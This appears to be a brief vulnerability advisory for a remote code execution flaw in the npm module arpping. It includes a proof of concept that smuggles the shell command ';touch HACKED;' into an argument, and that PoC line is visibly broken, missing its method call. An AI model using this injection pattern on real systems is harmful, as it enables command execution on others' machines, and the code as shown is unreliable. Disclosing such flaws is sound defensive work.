vulnerability remote code execution
severity 8.8
language javascript
registry npm


Remote Code Execution (RCE) in arpping

Proof of Concept

  1. Create the following PoC file:
// poc.js
const Arpping = require('arpping');
var arpping = new Arpping();[";touch HACKED;"]);
  1. Execute the following commands in terminal:
npm i arpping # Install affected module
node poc.js #  Run the PoC
  1. Check the Output using ls command before and after the execution.